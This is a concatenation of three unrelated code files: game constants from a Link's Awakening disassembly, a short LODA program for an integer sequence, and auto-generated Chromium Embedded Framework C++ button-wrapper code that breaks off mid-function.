LINK_ANIMATION_STATE_STANDING_SHIELD_UP EQU $34
LINK_ANIMATION_STATE_WALKING_SHIELD_UP EQU $35
LINK_ANIMATION_STATE_UNKNOWN_36 EQU $36
LINK_ANIMATION_STATE_UNKNOWN_38 EQU $38
LINK_ANIMATION_STATE_UNKNOWN_3A EQU $3A
LINK_ANIMATION_STATE_UNKNOWN_3C EQU $3C
LINK_ANIMATION_STATE_STANDING_LIFTING_RIGHT EQU $3E
LINK_ANIMATION_STATE_WALKING_LIFTING_RIGHT EQU $3F
LINK_ANIMATION_STATE_STANDING_LIFTING_LEFT EQU $40
LINK_ANIMATION_STATE_WALKING_LIFTING_LEFT EQU $41
LINK_ANIMATION_STATE_STANDING_LIFTING_UP EQU $42
LINK_ANIMATION_STATE_WALKING_LIFTING_UP EQU $43
LINK_ANIMATION_STATE_STANDING_LIFTING_DOWN EQU $44
LINK_ANIMATION_STATE_WALKING_LIFTING_DOWN EQU $45
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_RIGHT EQU $46
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_RIGHT EQU $47
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_LEFT EQU $48
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_LEFT EQU $49
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_UP EQU $4A
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_UP EQU $4B
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_DOWN EQU $4C
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_DOWN EQU $4D
LINK_ANIMATION_STATE_HOLD_SWIMMING_2 EQU $4E
LINK_ANIMATION_STATE_MOVING_SWIMMING_2 EQU $4F
LINK_ANIMATION_STATE_UNKNOWN_50 EQU $50
LINK_ANIMATION_STATE_UNKNOWN_51 EQU $51
LINK_ANIMATION_STATE_UNKNOWN_52 EQU $52
LINK_ANIMATION_STATE_UNKNOWN_53 EQU $53
LINK_ANIMATION_STATE_UNKNOWN_54 EQU $54
LINK_ANIMATION_STATE_UNKNOWN_55 EQU $55
LINK_ANIMATION_STATE_UNKNOWN_56 EQU $56
LINK_ANIMATION_STATE_UNKNOWN_57 EQU $57
LINK_ANIMATION_STATE_STANDING_SIDE_SCROLL_LEFT_DOWN EQU $58
LINK_ANIMATION_STATE_WALKING_SIDE_SCROLL_LEFT_DOWN EQU $59
LINK_ANIMATION_STATE_STANDING_SIDE_SCROLL_RIGHT_UP EQU $5B
LINK_ANIMATION_STATE_WALKING_SIDE_SCROLL_RIGHT_UP EQU $5C
LINK_ANIMATION_STATE_JUMPING_1 EQU $5E
LINK_ANIMATION_STATE_JUMPING_2 EQU $5F
LINK_ANIMATION_STATE_JUMPING_3 EQU $60
LINK_ANIMATION_STATE_UNKNOWN_61 EQU $61
LINK_ANIMATION_STATE_UNKNOWN_62 EQU $62
LINK_ANIMATION_STATE_UNKNOWN_63 EQU $63
LINK_ANIMATION_STATE_UNKNOWN_64 EQU $64
LINK_ANIMATION_STATE_UNKNOWN_65 EQU $65
LINK_ANIMATION_STATE_UNKNOWN_66 EQU $66
LINK_ANIMATION_STATE_UNKNOWN_67 EQU $67
LINK_ANIMATION_STATE_UNKNOWN_68 EQU $68
LINK_ANIMATION_STATE_UNKNOWN_69 EQU $69
LINK_ANIMATION_STATE_UNKNOWN_6A EQU $6A
LINK_ANIMATION_STATE_UNKNOWN_6B EQU $6B
LINK_ANIMATION_STATE_GOT_ITEM EQU $6C
LINK_ANIMATION_STATE_UNKNOWN_75 EQU $75
LINK_ANIMATION_STATE_NO_UPDATE EQU $FF
; MUSIC [Enumerated] [Hex]
MUSIC_NONE EQU $00
MUSIC_TITLE_SCREEN_INTRO EQU $01
MUSIC_MINIGAME EQU $02
MUSIC_GAME_OVER EQU $03
MUSIC_MABE_VILLAGE EQU $04
MUSIC_OVERWORLD EQU $05
MUSIC_MT_TAMARANCH EQU $06
MUSIC_WITCH_HUT EQU $07
MUSIC_RAFT_RIDE_RAPIDS EQU $08
MUSIC_MYSTERIOUS_FOREST EQU $09
MUSIC_HOUSE EQU $0A
MUSIC_ANIMAL_VILLAGE EQU $0B
MUSIC_FAIRY_FOUNTAIN EQU $0C
MUSIC_TITLE_SCREEN EQU $0D
MUSIC_BOWWOW_KIDNAPPED EQU $0E
MUSIC_SWORD_ACQUIRED EQU $0F
MUSIC_TOOL_ACQUIRED EQU $10
MUSIC_FILE_SELECT EQU $11
MUSIC_EGG_MAZE EQU $12
MUSIC_KANALET_CASTLE EQU $13
MUSIC_TAIL_CAVE EQU $14
MUSIC_BOTTLE_GROTTO EQU $15
MUSIC_KEY_CAVERN EQU $16
MUSIC_ANGLERS_TUNNEL EQU $17
MUSIC_BOSS_DEFEATED EQU $18
MUSIC_BOSS_BATTLE EQU $19
MUSIC_INTRO_CUTSCENE EQU $1A
MUSIC_INSTRUMENT_ACQUIRED EQU $1B
MUSIC_LINK_AWAKENS EQU $1C
MUSIC_SWORD_SEARCH EQU $1D
MUSIC_DREAMING EQU $1E
MUSIC_SOUTHERN_SHRINE EQU $1F
MUSIC_INSTRUMENT_FULL_MOON_CELLO EQU $20
MUSIC_2D_UNDERGROUND EQU $21
MUSIC_OWL EQU $22
MUSIC_FINAL_BOSS EQU $23
MUSIC_DREAM_SHRINE_BED EQU $24
MUSIC_HEART_CONTAINER_ACQUIRED EQU $25
MUSIC_COMMON_CAVE EQU $26
MUSIC_POWERUP_ACQUIRED EQU $27
MUSIC_INSTRUMENT_CONCH_HORN EQU $28
MUSIC_INSTRUMENT_SEA_LILY_BELL EQU $29
MUSIC_INSTRUMENT_SURF_HARP EQU $2A
MUSIC_INSTRUMENT_WIND_MARIMBA EQU $2B
MUSIC_INSTRUMENT_CORAL_TRIANGLE EQU $2C
MUSIC_INSTRUMENT_ORGAN_OF_EVENING_CALM EQU $2D
MUSIC_INSTRUMENT_THUNDER_DRUM EQU $2E
MUSIC_MARIN_SINGING EQU $2F
MUSIC_MANBO_MAMBO EQU $30
MUSIC_OVERWORLD_INTRO EQU $31
MUSIC_MR_WRITE_HOUSE EQU $32
MUSIC_PHONE_BOOTH EQU $33
MUSIC_TARIN_BEEHIVE EQU $34
MUSIC_MAMU_SONG EQU $35
MUSIC_MONKEYS_BUILDING_BRIDGE EQU $36
MUSIC_CHRISTINE_HOUSE EQU $37
MUSIC_TOTAKA_SONG_UNUSED EQU $38
MUSIC_TURTLE_ROCK_ENTRANCE_BOSS EQU $39
MUSIC_FISHING_UNDER_BRIDGE EQU $3A
MUSIC_CLASSIC_RECEIVED_ITEM EQU $3B
MUSIC_TOTAKEKE_NICKNAME_EASTER_EGG EQU $3C
MUSIC_ENDING EQU $3D
MUSIC_BOWWOW_KIDNAPPED_INTRODUCTION EQU $3E
MUSIC_WIND_FISH_AWAKENS EQU $3F
MUSIC_RICHARD_MANSION EQU $40
MUSIC_BALLAD_HORN EQU $41
MUSIC_BALLAD_BELL EQU $42
MUSIC_BALLAD_HARP EQU $43
MUSIC_BALLAD_MARIMBA EQU $44
MUSIC_BALLAD_TRIANGLE EQU $45
MUSIC_BALLAD_ORGAN EQU $46
MUSIC_BALLAD_ALL EQU $47
MUSIC_GHOST_HOUSE EQU $48
MUSIC_ACTIVE_POWER_UP EQU $49
MUSIC_LINK_MARIN_DUET EQU $4A
MUSIC_CATFISH_MAW EQU $4B
MUSIC_WATERFALL_DRAIN EQU $4C
MUSIC_MARIN_BEACH_TRANSITION EQU $4D
MUSIC_MARIN_BEACH EQU $4E
MUSIC_MINIBOSS EQU $50
MUSIC_KANALET_CASTLE_COPY EQU $51
MUSIC_TAIL_CAVE_COPY EQU $52
MUSIC_DREAM_SHRINE EQU $53
MUSIC_EAGLES_TOWER_BOSS_CUTSCENE EQU $54
MUSIC_ROOSTER_REVIVAL EQU $55
MUSIC_SEASHELL_MANSION_SPIRIT EQU $56
MUSIC_CUCCO_HOUSE EQU $57
MUSIC_FACE_SHRINE EQU $58
MUSIC_MEETING_WINDFISH EQU $59
MUSIC_TURTLE_ROCK EQU $5A
MUSIC_EAGLE_TOWER EQU $5B
MUSIC_GRIM_CREEPER_DIALOG EQU $5C
MUSIC_FINAL_BOSS_DIALOG EQU $5D
MUSIC_BOSS_WARNING EQU $5E
MUSIC_FINAL_BOSS_DEFEATED EQU $5F
MUSIC_ZELDA_NICKNAME_EASTER_EGG EQU $60
MUSIC_COLOR_DUNGEON EQU $61
MUSIC_SILENCE EQU $FF
; STATF [Bitmask] [Binary]
STATF_LYC EQU %01000000
STATF_MODE10 EQU %00100000
STATF_MODE01 EQU %00010000
STATF_MODE00 EQU %00001000
STATF_LYCF EQU %00000100
STATF_OAM EQU %00000010
STATF_VB EQU %00000001
STATF_HB EQU %00000000
; UPDATE_BG_TILES [Enumerated] [Hex]
UPDATE_BG_TILES_DO_NOTHING EQU $00
UPDATE_BG_TILES_WORLD EQU $01
UPDATE_BG_TILES_DUNGEON_MINIMAP EQU $02
; binary [Any] [Binary]
; bool [Enumerated] [Decimal]
false EQU 0
true EQU 1
; decimal [Any] [Decimal]
; hex [Any] [Hex] |
; A226450: a(n) = n*(3*n^2 - 5*n + 3).
; 0,1,10,45,124,265,486,805,1240,1809,2530,3421,4500,5785,7294,9045,11056,13345,15930,18829,22060,25641,29590,33925,38664,43825,49426,55485,62020,69049,76590,84661,93280,102465,112234,122605,133596,145225,157510,170469,184120,198481,213570,229405,246004,263385,281566,300565,320400,341089,362650,385101,408460,432745,457974,484165,511336,539505,568690,598909,630180,662521,695950,730485,766144,802945,840906,880045,920380,961929,1004710,1048741,1094040,1140625,1188514,1237725,1288276,1340185,1393470,1448149,1504240,1561761,1620730,1681165,1743084,1806505,1871446,1937925,2005960,2075569,2146770,2219581,2294020,2370105,2447854,2527285,2608416,2691265,2775850,2862189
lpb $0
sub $0,1
add $2,1
add $1,$2
add $3,1
add $2,$3
add $2,6
add $3,17
lpe
mov $0,$1
|
// Copyright (c) 2017 The Chromium Embedded Framework Authors. All rights
// reserved. Use of this source code is governed by a BSD-style license that
// can be found in the LICENSE file.
//
// ---------------------------------------------------------------------------
//
// This file was generated by the CEF translator tool. If making changes by
// hand only do so within the body of existing method and function
// implementations. See the translator.README.txt file in the tools directory
// for more information.
//
#include "libcef_dll/cpptoc/views/browser_view_cpptoc.h"
#include "libcef_dll/cpptoc/views/button_cpptoc.h"
#include "libcef_dll/cpptoc/views/label_button_cpptoc.h"
#include "libcef_dll/cpptoc/views/menu_button_cpptoc.h"
#include "libcef_dll/cpptoc/views/panel_cpptoc.h"
#include "libcef_dll/cpptoc/views/scroll_view_cpptoc.h"
#include "libcef_dll/cpptoc/views/textfield_cpptoc.h"
#include "libcef_dll/cpptoc/views/view_cpptoc.h"
#include "libcef_dll/cpptoc/views/window_cpptoc.h"
#include "libcef_dll/ctocpp/views/view_delegate_ctocpp.h"
namespace {
// MEMBER FUNCTIONS - Body may be edited by hand.
cef_label_button_t* CEF_CALLBACK button_as_label_button(
struct _cef_button_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefLabelButton> _retval = CefButtonCppToC::Get(self)->AsLabelButton(
);
// Return type: refptr_same
return CefLabelButtonCppToC::Wrap(_retval);
}
void CEF_CALLBACK button_set_state(struct _cef_button_t* self,
cef_button_state_t state) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(self)->SetState(
state);
}
cef_button_state_t CEF_CALLBACK button_get_state(struct _cef_button_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CEF_BUTTON_STATE_NORMAL;
// Execute
cef_button_state_t _retval = CefButtonCppToC::Get(self)->GetState();
// Return type: simple
return _retval;
}
void CEF_CALLBACK button_set_tooltip_text(struct _cef_button_t* self,
const cef_string_t* tooltip_text) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Verify param: tooltip_text; type: string_byref_const
DCHECK(tooltip_text);
if (!tooltip_text)
return;
// Execute
CefButtonCppToC::Get(self)->SetTooltipText(
CefString(tooltip_text));
}
void CEF_CALLBACK button_set_accessible_name(struct _cef_button_t* self,
const cef_string_t* name) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Verify param: name; type: string_byref_const
DCHECK(name);
if (!name)
return;
// Execute
CefButtonCppToC::Get(self)->SetAccessibleName(
CefString(name));
}
cef_browser_view_t* CEF_CALLBACK button_as_browser_view(
struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefBrowserView> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->AsBrowserView();
// Return type: refptr_same
return CefBrowserViewCppToC::Wrap(_retval);
}
cef_button_t* CEF_CALLBACK button_as_button(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefButton> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->AsButton();
// Return type: refptr_same
return CefButtonCppToC::Wrap(_retval);
}
cef_panel_t* CEF_CALLBACK button_as_panel(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefPanel> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->AsPanel();
// Return type: refptr_same
return CefPanelCppToC::Wrap(_retval);
}
cef_scroll_view_t* CEF_CALLBACK button_as_scroll_view(
struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefScrollView> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->AsScrollView();
// Return type: refptr_same
return CefScrollViewCppToC::Wrap(_retval);
}
cef_textfield_t* CEF_CALLBACK button_as_textfield(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefTextfield> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->AsTextfield();
// Return type: refptr_same
return CefTextfieldCppToC::Wrap(_retval);
}
cef_string_userfree_t CEF_CALLBACK button_get_type_string(
struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefString _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetTypeString();
// Return type: string
return _retval.DetachToUserFree();
}
cef_string_userfree_t CEF_CALLBACK button_to_string(struct _cef_view_t* self,
int include_children) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefString _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->ToString(
include_children?true:false);
// Return type: string
return _retval.DetachToUserFree();
}
int CEF_CALLBACK button_is_valid(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsValid();
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_is_attached(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsAttached();
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_is_same(struct _cef_view_t* self,
struct _cef_view_t* that) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Verify param: that; type: refptr_same
DCHECK(that);
if (!that)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsSame(
CefViewCppToC::Unwrap(that));
// Return type: bool
return _retval;
}
struct _cef_view_delegate_t* CEF_CALLBACK button_get_delegate(
struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefViewDelegate> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->GetDelegate();
// Return type: refptr_diff
return CefViewDelegateCToCpp::Unwrap(_retval);
}
struct _cef_window_t* CEF_CALLBACK button_get_window(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefWindow> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->GetWindow();
// Return type: refptr_same
return CefWindowCppToC::Wrap(_retval);
}
int CEF_CALLBACK button_get_id(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
int _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetID();
// Return type: simple
return _retval;
}
void CEF_CALLBACK button_set_id(struct _cef_view_t* self, int id) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetID(
id);
}
int CEF_CALLBACK button_get_group_id(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
int _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetGroupID();
// Return type: simple
return _retval;
}
void CEF_CALLBACK button_set_group_id(struct _cef_view_t* self, int group_id) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetGroupID(
group_id);
}
struct _cef_view_t* CEF_CALLBACK button_get_parent_view(
struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefView> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->GetParentView();
// Return type: refptr_same
return CefViewCppToC::Wrap(_retval);
}
struct _cef_view_t* CEF_CALLBACK button_get_view_for_id(
struct _cef_view_t* self, int id) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return NULL;
// Execute
CefRefPtr<CefView> _retval = CefButtonCppToC::Get(
reinterpret_cast<cef_button_t*>(self))->GetViewForID(
id);
// Return type: refptr_same
return CefViewCppToC::Wrap(_retval);
}
void CEF_CALLBACK button_set_bounds(struct _cef_view_t* self,
const cef_rect_t* bounds) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Verify param: bounds; type: simple_byref_const
DCHECK(bounds);
if (!bounds)
return;
// Translate param: bounds; type: simple_byref_const
CefRect boundsVal = bounds?*bounds:CefRect();
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetBounds(
boundsVal);
}
cef_rect_t CEF_CALLBACK button_get_bounds(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CefRect();
// Execute
cef_rect_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetBounds();
// Return type: simple
return _retval;
}
cef_rect_t CEF_CALLBACK button_get_bounds_in_screen(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CefRect();
// Execute
cef_rect_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetBoundsInScreen();
// Return type: simple
return _retval;
}
void CEF_CALLBACK button_set_size(struct _cef_view_t* self,
const cef_size_t* size) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Verify param: size; type: simple_byref_const
DCHECK(size);
if (!size)
return;
// Translate param: size; type: simple_byref_const
CefSize sizeVal = size?*size:CefSize();
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetSize(
sizeVal);
}
cef_size_t CEF_CALLBACK button_get_size(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CefSize();
// Execute
cef_size_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetSize();
// Return type: simple
return _retval;
}
void CEF_CALLBACK button_set_position(struct _cef_view_t* self,
const cef_point_t* position) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Verify param: position; type: simple_byref_const
DCHECK(position);
if (!position)
return;
// Translate param: position; type: simple_byref_const
CefPoint positionVal = position?*position:CefPoint();
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetPosition(
positionVal);
}
cef_point_t CEF_CALLBACK button_get_position(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CefPoint();
// Execute
cef_point_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetPosition();
// Return type: simple
return _retval;
}
cef_size_t CEF_CALLBACK button_get_preferred_size(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CefSize();
// Execute
cef_size_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetPreferredSize();
// Return type: simple
return _retval;
}
void CEF_CALLBACK button_size_to_preferred_size(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->SizeToPreferredSize();
}
cef_size_t CEF_CALLBACK button_get_minimum_size(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CefSize();
// Execute
cef_size_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetMinimumSize();
// Return type: simple
return _retval;
}
cef_size_t CEF_CALLBACK button_get_maximum_size(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return CefSize();
// Execute
cef_size_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetMaximumSize();
// Return type: simple
return _retval;
}
int CEF_CALLBACK button_get_height_for_width(struct _cef_view_t* self,
int width) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
int _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetHeightForWidth(
width);
// Return type: simple
return _retval;
}
void CEF_CALLBACK button_invalidate_layout(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->InvalidateLayout(
);
}
void CEF_CALLBACK button_set_visible(struct _cef_view_t* self, int visible) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetVisible(
visible?true:false);
}
int CEF_CALLBACK button_is_visible(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsVisible();
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_is_drawn(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsDrawn();
// Return type: bool
return _retval;
}
void CEF_CALLBACK button_set_enabled(struct _cef_view_t* self, int enabled) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetEnabled(
enabled?true:false);
}
int CEF_CALLBACK button_is_enabled(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsEnabled();
// Return type: bool
return _retval;
}
void CEF_CALLBACK button_set_focusable(struct _cef_view_t* self,
int focusable) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->SetFocusable(
focusable?true:false);
}
int CEF_CALLBACK button_is_focusable(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsFocusable();
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_is_accessibility_focusable(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->IsAccessibilityFocusable();
// Return type: bool
return _retval;
}
void CEF_CALLBACK button_request_focus(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(self))->RequestFocus();
}
void CEF_CALLBACK button_set_background_color(struct _cef_view_t* self,
cef_color_t color) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return;
// Execute
CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->SetBackgroundColor(
color);
}
cef_color_t CEF_CALLBACK button_get_background_color(struct _cef_view_t* self) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Execute
cef_color_t _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->GetBackgroundColor();
// Return type: simple
return _retval;
}
int CEF_CALLBACK button_convert_point_to_screen(struct _cef_view_t* self,
cef_point_t* point) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Verify param: point; type: simple_byref
DCHECK(point);
if (!point)
return 0;
// Translate param: point; type: simple_byref
CefPoint pointVal = point?*point:CefPoint();
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->ConvertPointToScreen(
pointVal);
// Restore param: point; type: simple_byref
if (point)
*point = pointVal;
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_convert_point_from_screen(struct _cef_view_t* self,
cef_point_t* point) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Verify param: point; type: simple_byref
DCHECK(point);
if (!point)
return 0;
// Translate param: point; type: simple_byref
CefPoint pointVal = point?*point:CefPoint();
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->ConvertPointFromScreen(
pointVal);
// Restore param: point; type: simple_byref
if (point)
*point = pointVal;
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_convert_point_to_window(struct _cef_view_t* self,
cef_point_t* point) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Verify param: point; type: simple_byref
DCHECK(point);
if (!point)
return 0;
// Translate param: point; type: simple_byref
CefPoint pointVal = point?*point:CefPoint();
// Execute
bool _retval = CefButtonCppToC::Get(reinterpret_cast<cef_button_t*>(
self))->ConvertPointToWindow(
pointVal);
// Restore param: point; type: simple_byref
if (point)
*point = pointVal;
// Return type: bool
return _retval;
}
int CEF_CALLBACK button_convert_point_from_window(struct _cef_view_t* self,
cef_point_t* point) {
// AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING
DCHECK(self);
if (!self)
return 0;
// Verify param: point; type: simple_byref
DCHECK(point);
if (!point)
return 0;
